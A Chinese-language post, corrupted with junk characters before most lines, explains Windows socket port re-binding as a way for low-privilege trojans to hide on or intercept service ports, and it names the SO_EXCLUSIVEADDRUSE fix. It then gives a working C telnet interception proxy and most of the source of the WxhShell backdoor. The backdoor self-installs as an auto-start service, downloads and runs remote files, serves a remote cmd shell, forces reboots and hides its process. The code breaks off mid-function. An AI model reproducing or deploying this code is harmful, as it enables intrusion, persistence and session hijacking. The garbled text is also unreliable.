在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
~O]]N;>72" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
PmR~c, }#qGqY*@LK saddr.sin_family = AF_INET;
v\,N 5 u@.>Z{h saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:UbM ! \/SQ,*O bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#_|sgS?1 0V{(Ru.O 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?0
m\(# Z{
u a=0 这意味着什么?意味着可以进行如下的攻击:
sz9G3artK& 5hbJOo0BZ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Z1h] nD0}wiL{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#!9S}b$ s
(0* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
78Aa|AJU D!oc>K$B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
V=X:= qA:#iJ8w 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
iz~
pGkt YqV8D&I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{ K_kPgKS 8`]=C~G 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-@F fU2 3-%Cw2ds #include
K YkS9_yF #include
>;#=gM #include
c.|l-zAeX #include
O Lc}_ DWORD WINAPI ClientThread(LPVOID lpParam);
yE\wj int main()
e2+BWKaU {
^Q{Bq WORD wVersionRequested;
3loY qeP DWORD ret;
9 Q!bt WSADATA wsaData;
ai'4_ BOOL val;
tURc bwV SOCKADDR_IN saddr;
m,R Dr SOCKADDR_IN scaddr;
r{seb E\
; int err;
aP&D9%5 SOCKET s;
o3Vn<Z$/Cl SOCKET sc;
\@~UDP]7 int caddsize;
!'f3>W\
HANDLE mt;
!>(RK"KWq] DWORD tid;
45@]:2j wVersionRequested = MAKEWORD( 2, 2 );
j+8TlVur err = WSAStartup( wVersionRequested, &wsaData );
QR>
Y%4 ;h if ( err != 0 ) {
o:Zd1"Z printf("error!WSAStartup failed!\n");
}4>JO"" return -1;
(9 gOtJ }
vU*x2fVb} saddr.sin_family = AF_INET;
gr-x|wK dp5f7>]:( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+ q''y *zWWmxcJa saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6e25V4e?I saddr.sin_port = htons(23);
l12$l<x&M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&*&?0ov^" {
quo^fqS&a printf("error!socket failed!\n");
=/+#PVO return -1;
O {k:yVb }
O4No0xeWo val = TRUE;
!7U\J] //SO_REUSEADDR选项就是可以实现端口重绑定的
m=b~i^@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
cUK\x2 {
cgj.e printf("error!setsockopt failed!\n");
fA^7^0![ return -1;
q9dLHi<1 }
l9/:FiJ_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
GIv){[i //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
yu
,h\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~E=\t9r m]IysyFFK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(Btv ClZ {
ex?\c" ret=GetLastError();
TK>{qxt:= printf("error!bind failed!\n");
1]\TI7/n return -1;
:w?7j_p# }
V+w u listen(s,2);
OCHm; while(1)
djT.
1( {
|,}E0G. caddsize = sizeof(scaddr);
&-GuKH(Y< //接受连接请求
(G4'(6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$Kq<W{H3ut if(sc!=INVALID_SOCKET)
4VIg>EL* {
c6b0*!D"} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ZM~`Gd9K0E if(mt==NULL)
9B)lGLL}q {
xaL#MIR"u" printf("Thread Creat Failed!\n");
x.EgTvA&d break;
h)E|?b_ }
eO{@@?/y }
67J*&5? | CloseHandle(mt);
W3LP
~ }
D{AFL.r{ closesocket(s);
4YJ=q% G WSACleanup();
jNy?[
) return 0;
/#yA%0=w }
DzPs!(5[I DWORD WINAPI ClientThread(LPVOID lpParam)
A/Khk2-: {
wO"GtVd SOCKET ss = (SOCKET)lpParam;
i<u9:W SOCKET sc;
y3yvZD unsigned char buf[4096];
7<yp"5><) SOCKADDR_IN saddr;
0RyFv+ long num;
yx0Q+Sm1: DWORD val;
O3!d(dY=_ DWORD ret;
?mOg@) wx //如果是隐藏端口应用的话,可以在此处加一些判断
#[ :w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
M}!A]@ saddr.sin_family = AF_INET;
3cu9[~K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
PV,"-Nv, saddr.sin_port = htons(23);
JIUtj7HQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~tNY"{OV# {
A1Q
+0 printf("error!socket failed!\n");
n(jjvLf return -1;
TmiWjQv` }
M7VID6J. val = 100;
/Dw@d,&[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`{G?>z Fp {
(/fT]6( ret = GetLastError();
z{6YC~ return -1;
0 [i+ }
=hcPTU-QU if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
CT}' ")Bm {
d_iY&-gq/ ret = GetLastError();
ZT9IMihV return -1;
Qcgu`]7} }
Wy(pLBmb if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6_U|(f {
_j 5N=I{U printf("error!socket connect failed!\n");
>tEK+Y|N} closesocket(sc);
G{A)H_o* closesocket(ss);
gUGOHd(A return -1;
S'?fJ. }
NQ!<f\m4n while(1)
J" bD\% {
;\s~%~\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ou;qO
5CT //如果是嗅探内容的话,可以再此处进行内容分析和记录
6z1\a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
DVzssPg num = recv(ss,buf,4096,0);
[tm[,VfA^ if(num>0)
"=ElCaP} send(sc,buf,num,0);
a)S(p1BGg else if(num==0)
+\U]p_Fo3 break;
h^d\xn9GT# num = recv(sc,buf,4096,0);
VV\Xb31J if(num>0)
!2tw, QM send(ss,buf,num,0);
e;;):\p4 else if(num==0)
yId;\o B break;
y.fs,!|%@ }
Bhx<g&|j closesocket(ss);
_vIO!*h0 closesocket(sc);
fkBLrw return 0 ;
{~nvs4X }
kdBV1E+:C /u?9S/ _-6e0sr Z ==========================================================
hpjUkGm5 V{FE [v_ 下边附上一个代码,,WXhSHELL
?C~X@sq #|ddyCg2 ==========================================================
6s5b$x
{WKOJG+. #include "stdafx.h"
I<xy?{s qM*S*,s #include <stdio.h>
CfY7<o1> #include <string.h>
IW] *i?L #include <windows.h>
Ft$^x-d #include <winsock2.h>
Nor`c+,4 #include <winsvc.h>
NZ)b:~a #include <urlmon.h>
&PSTwZd yP%o0n/"x #pragma comment (lib, "Ws2_32.lib")
55,=[ #pragma comment (lib, "urlmon.lib")
2x6<8J8v*
Lxz #define MAX_USER 100 // 最大客户端连接数
:4iU^6 #define BUF_SOCK 200 // sock buffer
Hy;901( % #define KEY_BUFF 255 // 输入 buffer
-HN%B?}. x nIR*_<ow #define REBOOT 0 // 重启
+h|K[=l\ #define SHUTDOWN 1 // 关机
E\_W v}f&q! #define DEF_PORT 5000 // 监听端口
)ZN(2z 'jN/~I #define REG_LEN 16 // 注册表键长度
+/w(K, #define SVC_LEN 80 // NT服务名长度
363cuRP Cv P`2S\ // 从dll定义API
O!yakU+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
r/^tzH's typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&:q[-K@! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\.kTe<.:_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;fj9n- IJldN6&\q // wxhshell配置信息
2mSD"[% struct WSCFG {
7:h<`_HT(X int ws_port; // 监听端口
#TIX_ RXh char ws_passstr[REG_LEN]; // 口令
n+X1AOE[L int ws_autoins; // 安装标记, 1=yes 0=no
fMyE}z char ws_regname[REG_LEN]; // 注册表键名
|@+8]dy:l char ws_svcname[REG_LEN]; // 服务名
[qW<D/@ char ws_svcdisp[SVC_LEN]; // 服务显示名
}}s8D>;G~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
N:OD0m%`) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k3C"
int ws_downexe; // 下载执行标记, 1=yes 0=no
Pf{`/UlD char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
u\:rY)V char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@c0n2 Xcr (lieiye^ };
mZ~mf->% 6hLNJ // default Wxhshell configuration
)>?! xx_` struct WSCFG wscfg={DEF_PORT,
-`Da`ml "xuhuanlingzhe",
A"0wvk)UcY 1,
J
&{qppN "Wxhshell",
_IC,9bbg "Wxhshell",
'xQna+ %h "WxhShell Service",
K/Sq2: "Wrsky Windows CmdShell Service",
.|U4N/XN%q "Please Input Your Password: ",
L>0!B8X2 1,
kpl~/i`4 "
http://www.wrsky.com/wxhshell.exe",
=?wMESU "Wxhshell.exe"
Gee~>:_Q{J };
lD9%xCo9( g)X7FxS,z // 消息定义模块
HgYc@P*b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
@l)\?IEF@f char *msg_ws_prompt="\n\r? for help\n\r#>";
(rAiDRQ[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)\D2\1e(c char *msg_ws_ext="\n\rExit.";
uXjoGcW char *msg_ws_end="\n\rQuit.";
k{?!O\yY char *msg_ws_boot="\n\rReboot...";
p}96uaC1 char *msg_ws_poff="\n\rShutdown...";
1!X1wCT char *msg_ws_down="\n\rSave to ";
.4Iw=T_ 4=~ 9v char *msg_ws_err="\n\rErr!";
W)|c[Q\ char *msg_ws_ok="\n\rOK!";
t3pZjdLJd HE*7\"9 char ExeFile[MAX_PATH];
(QhGxuC int nUser = 0;
.V8/ELr] HANDLE handles[MAX_USER];
C:rRK* int OsIsNt;
YW'{|9KnI t'dHCp} SERVICE_STATUS serviceStatus;
(D0C#<4P SERVICE_STATUS_HANDLE hServiceStatusHandle;
WC3W+v G7 &fCP2]hj' // 函数声明
S@9w'upd int Install(void);
iJ,M-GHK int Uninstall(void);
dFdlB`L int DownloadFile(char *sURL, SOCKET wsh);
Y||yzJdC int Boot(int flag);
*^X#Eb void HideProc(void);
c!tvG*{ int GetOsVer(void);
zhuyePn int Wxhshell(SOCKET wsl);
K5 5} Wi void TalkWithClient(void *cs);
q1U&vZ3]c int CmdShell(SOCKET sock);
wCV>F- int StartFromService(void);
UN-T^ int StartWxhshell(LPSTR lpCmdLine);
,DexJ1 _= o1?R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
nu;}S!J VOID WINAPI NTServiceHandler( DWORD fdwControl );
#S@UTJa
}5fU7&jA;3 // 数据结构和表定义
@*CAn(@#N SERVICE_TABLE_ENTRY DispatchTable[] =
I++W0wa.n {
u^}7Vs
. {wscfg.ws_svcname, NTServiceMain},
0$n8b/%. {NULL, NULL}
^t\kLU };
@`w' g,00'z_D // 自我安装
+CsI,Uf4* int Install(void)
B0-4ZT {
:*mA,2s char svExeFile[MAX_PATH];
cEDDO&u HKEY key;
@m+pr\h( strcpy(svExeFile,ExeFile);
<bEN8b :'5G_4y)h // 如果是win9x系统,修改注册表设为自启动
Iq4 Kgc if(!OsIsNt) {
u~'m7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=?meO0]y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gGtep*k RegCloseKey(key);
ddUjs8VvJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X% Spv/8{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hKk\Y{wv' RegCloseKey(key);
91-P)%? return 0;
iYO
wB'z }
1$='`@8I }
qT4I Y$h }
opUKrB else {
Nb^zkg /E`l:&89) // 如果是NT以上系统,安装为系统服务
D%c7JK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)'BJ4[aq\ if (schSCManager!=0)
6.
+[
z {
v$gMLu= SC_HANDLE schService = CreateService
R$!;J?SS (
s=^r/Sz902 schSCManager,
H j5WJ{p. wscfg.ws_svcname,
;kyL>mV{ wscfg.ws_svcdisp,
veYsctK~ SERVICE_ALL_ACCESS,
37:b D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^7ea6G" SERVICE_AUTO_START,
Q|j@#@O 1 SERVICE_ERROR_NORMAL,
R,d70w
(_ svExeFile,
z:ru68 NULL,
egxJ3. NULL,
)Dk0V!%N NULL,
cXLV"d NULL,
%!ER @&1f& NULL
0j
a );
~uhyROO,G" if (schService!=0)
!LHzY( {
b2/N H1A CloseServiceHandle(schService);
Y^c,mK^ CloseServiceHandle(schSCManager);
WTV3p,;6a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?BHWzo! strcat(svExeFile,wscfg.ws_svcname);
c:?#zX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
IS0HV$OI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Ac5o K RegCloseKey(key);
=M/UHOY return 0;
RB lOTQjv }
uhC= }
|g?/~%7 CloseServiceHandle(schSCManager);
Uf7F8JZmM }
9Th32}H }
ctc`^#q &{%S0\K Y return 1;
sl^s9kx;C$ }
5,0wj0l FfD
,cDs // 自我卸载
[/+dHW| int Uninstall(void)
7'{Yz {
Ew?/@KAV\ HKEY key;
c5=v`hv VeN&rjc if(!OsIsNt) {
86^ZYh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I7q?V1fu4 RegDeleteValue(key,wscfg.ws_regname);
:b M$; RegCloseKey(key);
~7ATt8T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B(en5| RegDeleteValue(key,wscfg.ws_regname);
(v'lb!j^# RegCloseKey(key);
+9Hk+. return 0;
Wy^[4|6 }
l|ZzG4]+l }
WnJLX ^; }
#>=/15: else {
t5X^(@q4N W3o}.|] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
U3_yEvZ if (schSCManager!=0)
S\v&{ {
bW
86Iw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
];b!*Z if (schService!=0)
1)/T.q<D" {
ZB^4 (F')H if(DeleteService(schService)!=0) {
2,XqslB) CloseServiceHandle(schService);
LG&Q>pt. CloseServiceHandle(schSCManager);
:S+U}Sm[ return 0;
&Xl_sDvt }
:WfB!4%! CloseServiceHandle(schService);
e@2Vn? 5 }
E?m#S CloseServiceHandle(schSCManager);
WW\)B-}T }
/qkIoF2 }
Pu%>j'A ILr6W@o5A return 1;
Y^jnlS)h }
9Pob|UA L$u&~"z- // 从指定url下载文件
5k%N<e`` int DownloadFile(char *sURL, SOCKET wsh)
MY<!\4/ {
0p>:rU~ HRESULT hr;
Etr8lm E char seps[]= "/";
B> "r -O char *token;
b1,T!xL char *file;
F{H0
% char myURL[MAX_PATH];
5.K$
X$+7} char myFILE[MAX_PATH];
N>6yacTB g*AD$": strcpy(myURL,sURL);
sO4}kxZ token=strtok(myURL,seps);
norc!?L while(token!=NULL)
Tk#&Ux{ZJ {
hzPB~obC file=token;
fddbXs0Sn token=strtok(NULL,seps);
"MS`d+rf\ }
%qjyk=z+Z |3T|F3uEX
GetCurrentDirectory(MAX_PATH,myFILE);
v"('_! strcat(myFILE, "\\");
io?{ew strcat(myFILE, file);
]I' xLh` send(wsh,myFILE,strlen(myFILE),0);
g d}TTe
send(wsh,"...",3,0);
PN^1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
wR<QeH'V if(hr==S_OK)
Lz>{FOR return 0;
/2\=sTd else
gZ >orZL' return 1;
H.mQbD`X OTHd1PSOu }
Y <i}"eI* ' /<b[ // 系统电源模块
]-Y]Q%A4 int Boot(int flag)
E0B2>V {
HYYx*CJ) HANDLE hToken;
f,
j(uP TOKEN_PRIVILEGES tkp;
:2Rci`lp : )"jh` if(OsIsNt) {
FjLv*K[#d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>iWf7-: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
k+GK1Yl tkp.PrivilegeCount = 1;
AXv;r< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ihY^~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[ma#8p) if(flag==REBOOT) {
Eno2<< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Sq8Q* return 0;
iK:qPrk- }
qkG;YGio else {
="[](X^ l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-%gd')@SfD return 0;
Y{|~A }
3pjYY$' }
z.Kq}r ^ else {
i|{nj\6w^ if(flag==REBOOT) {
#5:A?aj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'2J6%Gg return 0;
`ur9KP4Dq }
a`X&;jH0ef else {
[QN7+#K, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-R
\@W q@ return 0;
3udIe$.Q }
8+cpNX }
GfPz^F=ie. =(5GU<} return 1;
(U(x[Df) }
4S EC4yO r<N*N,~ // win9x进程隐藏模块
Y"rV[oe void HideProc(void)
M`fXH 3D {
YaT+BRh? &b")`p&K HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C|@k+^S if ( hKernel != NULL )
mqT0^TNPcl {
yBh"qnOT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(KImqB$i. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CWsv#XOg] FreeLibrary(hKernel);
n(xlad }
aDv/kFfn gO!h<1 ! return;
5(`GF| }
:!!`!*!JH 3CPOZZ // 获取操作系统版本
@W- f{V int GetOsVer(void)
Qf(e'e {
% peb{i OSVERSIONINFO winfo;
m1i$>9, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[F{a-i- GetVersionEx(&winfo);
z9O/MHT[w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
|Z|xM return 1;
8 %f!
X51 else
U(LR('-h return 0;
|L{dQ)-'l }
lA
0_I"b2Y L([ >yQZ // 客户端句柄模块
=,G(1# int Wxhshell(SOCKET wsl)
;-^9j)31+F {
>F_Ne)}qTQ SOCKET wsh;
nqJV1h struct sockaddr_in client;
bXL a~r4\ DWORD myID;
Ayt!a+J F<Z=%M3e while(nUser<MAX_USER)
&YKzK)@ {
me^Gk/`Em int nSize=sizeof(client);
Vho0f<`E wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
iquGLwJ if(wsh==INVALID_SOCKET) return 1;
=PM#eu ]3jH^7[? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
TFPq(i if(handles[nUser]==0)
%k)I=| closesocket(wsh);
"0)G|pZI else
P;p g+L.I nUser++;
7N=VVD~!b }
jk}PucV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
&bu`\|V )pa|uH+N return 0;
d's`~HOU2 }
:]hfmWC %y+j~]^: // 关闭 socket
--)[>6)I void CloseIt(SOCKET wsh)
ur7a%NH {
*OcptmY< closesocket(wsh);
(5;xs nUser--;
.e#j#tQp ExitThread(0);
)!72^rl }
dsuW4^l jzMGRN/67 // 客户端请求句柄
HbVm
O]#$D void TalkWithClient(void *cs)
OXV@LYP@ {
2F7R,rr
\Da$bJ SOCKET wsh=(SOCKET)cs;
L-dKZ8Q char pwd[SVC_LEN];
I!'(>VlP7 char cmd[KEY_BUFF];
tRCd(Z,WY char chr[1];
3l[hkRFu` int i,j;
IxR:a( Lr&BZM while (nUser < MAX_USER) {
}C#d;JC k"zHrn"$ if(wscfg.ws_passstr) {
YaNVpLA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<qx-%6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C ( ;7*] //ZeroMemory(pwd,KEY_BUFF);
8, ^UQ5x i=0;
7IH{5o\e while(i<SVC_LEN) {
>UH=]$0N 1sA-BQL // 设置超时
bNgcZ
V. fd_set FdRead;
9z}kkYk struct timeval TimeOut;
ond/e&1 FD_ZERO(&FdRead);
hp}8
3.oA FD_SET(wsh,&FdRead);
O0RQ}~$'m TimeOut.tv_sec=8;
k{62UaL. TimeOut.tv_usec=0;
w2GY,,R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Ta$<#wb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
I9m rE~O}2a#H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t[~i})yS pwd
=chr[0]; / KM+PeO
if(chr[0]==0xd || chr[0]==0xa) { !<ucwWY,
pwd=0; "&F/'';0}E
break; 2c]O Mtk
} j)Gr@F>
i++; 9,+LNZ'k
} m%puD9
6m&I_icM
// 如果是非法用户,关闭 socket J(60eTwQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VF.S)='>Eu
} 2=RDAipf59
?'r[P03
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }e)ltp|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q 9^r2OO
Ye\%o[X
while(1) { 0"Hf6xz
lom4z\6
ZeroMemory(cmd,KEY_BUFF); 3:S "!F
up6LO7drW/
// 自动支持客户端 telnet标准 9AaixI
j=0; **"sru;@=
while(j<KEY_BUFF) { V6N#%(?3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (?(ahtT4T
cmd[j]=chr[0]; UQy+&;#5
if(chr[0]==0xa || chr[0]==0xd) { .w&Z=YM
cmd[j]=0; ?##GY;#
break; oT w1w
} O"GzeEY7
j++; ZN^Q!v
} EBm\rM8
xgVt0=q
// 下载文件 Ff30%
if(strstr(cmd,"http://")) { IU/*YI%W
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
NDi@x"];
if(DownloadFile(cmd,wsh)) S5vJC-"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]up:pddIh
else WqAP'x 1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -xXM/3g1u
} h2y@xnn
else { UHHe~L
F7df
switch(cmd[0]) { 0@KBQv"v
aqlYB7
// 帮助 mz''-1YY$
case '?': { [z?XVl<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bbnAmZ
break; 3 D3K:K!FK
} )xU70:X
// 安装 G[<iVt$y
case 'i': { TG($l2
if(Install()) DEtq]|80m
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
7)YU ;
else EC7o 3LoND
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \y=,=;yv
break; e_e|t>nQ
} mGX;JOjZ
// 卸载 59LIK&w
case 'r': { &' Ch[Wo]H
if(Uninstall()) XyhdsH5%3!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wTLHg2'y^
else `S2=LJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t}K?.To$
break; =+u$ZZ0+]o
} l#%w,gX
// 显示 wxhshell 所在路径 na~ r}77o
case 'p': { OTzh=Z^r
char svExeFile[MAX_PATH]; #Ew}@t9
strcpy(svExeFile,"\n\r"); /[mCK3_
strcat(svExeFile,ExeFile); Q8O38uZ
send(wsh,svExeFile,strlen(svExeFile),0); '#XP:nqFkK
break; &*0V!+#6
} WWY9U
// 重启 F4@h}T5)
case 'b': { ][9M_.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +`ZcYLg)#
if(Boot(REBOOT)) t+pI<c^]y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x;N?'"GP
else { GXwV>)!x
closesocket(wsh); X|b~,X%N
ExitThread(0); s%Z3Zj(,8(
} *`\>J.
break; -7lJ
} w>#~_x,`
// 关机 Ts^IA67&<
case 'd': { _3`{wzMA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !j- 7,
if(Boot(SHUTDOWN)) z19y>j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t&*$@0A
else { J,k{Bm
closesocket(wsh); %H:!/'45
ExitThread(0); yfq"atj
} %lvSO/F+
break; b-wFnMXk+
} K'y;j~`-
// 获取shell z}Xn>-N-
case 's': { xl
s_g/Q
CmdShell(wsh); ]NN9FM.2b/
closesocket(wsh); &B[$l`1
ExitThread(0); ($]y*|Obn
break; kz+P?mopm
} I#m5Tl|#
// 退出 @HR]b^2E
case 'x': { afH`<!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *V>Iv/(
CloseIt(wsh); .0nL;o
break; ;A1pqHr
} Uq7 y4zJ
// 离开 3nxJ`W5j
case 'q': { nKch_Jb
send(wsh,msg_ws_end,strlen(msg_ws_end),0); HA>b'lqBM
closesocket(wsh); S's\M5
WSACleanup(); (`xhh
exit(1); 10{ZW@!7
break; ?HttqK)
} 2?#IwT'
} _yumUk-QW
} o`7Bvh2
@MS;qoc
// 提示信息 a6fMx~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _da>=^hFJ
} sd
xl@
} V07e29w
,vl][MhM
return; pS;jrq
I#
} /X{:~*.z
Y[#i(5w
// shell模块句柄 yuWoz*:t
int CmdShell(SOCKET sock) ~bhesWk8!
{ y7txIe!<5
STARTUPINFO si; Vnlns2pQl
ZeroMemory(&si,sizeof(si)); aHvTbpJ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \E5%.KR
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #/\5a;Elc
PROCESS_INFORMATION ProcessInfo; E80C0Q+V
char cmdline[]="cmd"; +h.$<=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fE8/tx](
return 0; q;1]M[&
} 76(-!Z@=J
1$]4g/":o
// 自身启动模式 JL=MlZ
int StartFromService(void) B0T[[%~3M
{ !7]4sXL{
typedef struct uW},I6g
{ >LRt,.hy6
DWORD ExitStatus; Ox#%Dm2
DWORD PebBaseAddress; Zu951+&`
DWORD AffinityMask; RBd{1on
DWORD BasePriority; VQI
ULONG UniqueProcessId; UJ3l8
%/`k
